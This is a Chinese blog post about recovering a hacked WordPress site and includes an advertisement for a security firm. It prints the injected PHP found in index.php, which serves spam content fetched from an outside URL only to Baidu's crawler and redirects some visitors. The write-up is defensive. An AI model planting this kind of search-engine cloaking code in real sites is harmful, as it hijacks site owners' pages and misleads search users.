網站被黑了被掛馬篡改後我是如何解決網站被掛馬!
1、發現被黑,網站被黑的症狀
兩年前自己用wordpress搭了一個網站,平時沒事寫寫文章玩玩。但是前些日子,突然發現網站的流量突然變小,site了一下百度收錄,發現出了大問題,網站被黑了。大多數百度抓取收錄的頁面title和description被篡改,如下圖,title標題被改成xx友情連結,描述description是一些廣告網址。但是點進去以後,訪問正常,頁面顯示正常,頁面原始碼也正常,絲毫沒有被篡改的痕跡。但是,為什麼百度爬蟲會抓取到這些廣告文字呢,這些文字哪裡來的?
2、自己猜想了一下原因,頁面和百度抓取收錄顯示不一致。查伺服器日誌方案不可行。
網站實際頁面和百度排蟲收錄顯示不一致,網站原始碼肯定被了,但怎麼改的,改在哪裡不知道,伺服器裡程式碼檔案有幾百個,一個個檢查,一行行看原始碼肯定不現實。首先想到了檢查伺服器日誌。但是問題是不知道駭客哪天改的,所以只能調出了幾個星期的伺服器日誌來檢查。可是,檢查日誌也是龐大的工程,而且對此經驗不足,也很費事,也不一定有結果。因此,只能又尋求新的辦法。
3、找到了問題解決的關鍵路線,使用useragent-watch
頁面內容沒變,但百度排蟲抓取錯了,問題肯定出在爬蟲抓取身上。所以如果能看到排蟲抓取的整個流程,或許會會找到答案。一番研究之後,找到了一個工具“user-agent-switcher”,可以模擬各種裝置和搜尋引擎排蟲,chrome和火狐瀏覽器都有外掛可以安裝。chrome安裝useragent-watch之後,新增百度爬蟲useragent 設定:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如圖。
其他搜尋引擎useragent:http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22
設定完以後,切換到模擬百度爬蟲狀態,再次訪問我的網站,這次果然現原形了,網站這次跳到了另一個網站頁面,這個頁面內容就是,我網站在百度上顯示的那些廣告資訊,如下圖。再把useragent切換回來,輸入我的網站域名,這次訪問一切正常。這次可以下結論了,問題是在useragent上。駭客肯定修改了網站的原始碼,而且是在原始碼里加了判斷語句,如果是當前請求的useragent是搜尋引器爬蟲,就把排蟲引到把廣告頁面,如果是其他的就正常執行的。
4、找到被修改的原始碼
雖然找到了問題原因,但是該怎麼找到被修改的檔案呢。不過,瞭解了wordpress原始碼檔案執行順序流程,一切就很簡單了,如下圖,按照順序一個個檔案找很快就能找到。
登入到ftp,按照檔案首先找到了index.php檔案,果然,運氣不錯,第一個檔案就是被修改的。駭客在程式碼最開始就添加了如下圖的程式碼。
如果還是被反覆篡改被入侵的話建議找專業做安全的來處理
Sine安全公司是一家專注於:伺服器安全、網站安全、網站漏洞檢測、網站安全測試、滲透測試服務
一體的網路安全服務提供商。
5、解釋下這段php程式碼的意思:
$file="http://www.XXXX.com/XXXX/X.htm";
$referer=$_SERVER["HTTP_REFERER"];//來路的網址url
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//當前請求的內容轉化成小寫
if(strstr($referer,"baidu")&&strstr($referer,"456"))//如果是從百度點到該頁的
{
Header("Location: $url");//轉到原來的正常url
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))//如果是百度排蟲
{
$content=file_get_contents($file);//轉到之前定義的那個url頁面
echo $content;
exit;
}
把這一段刪了,就ok了。重新提交百度,讓百度重新抓取,過了幾天百度快照更新就好了。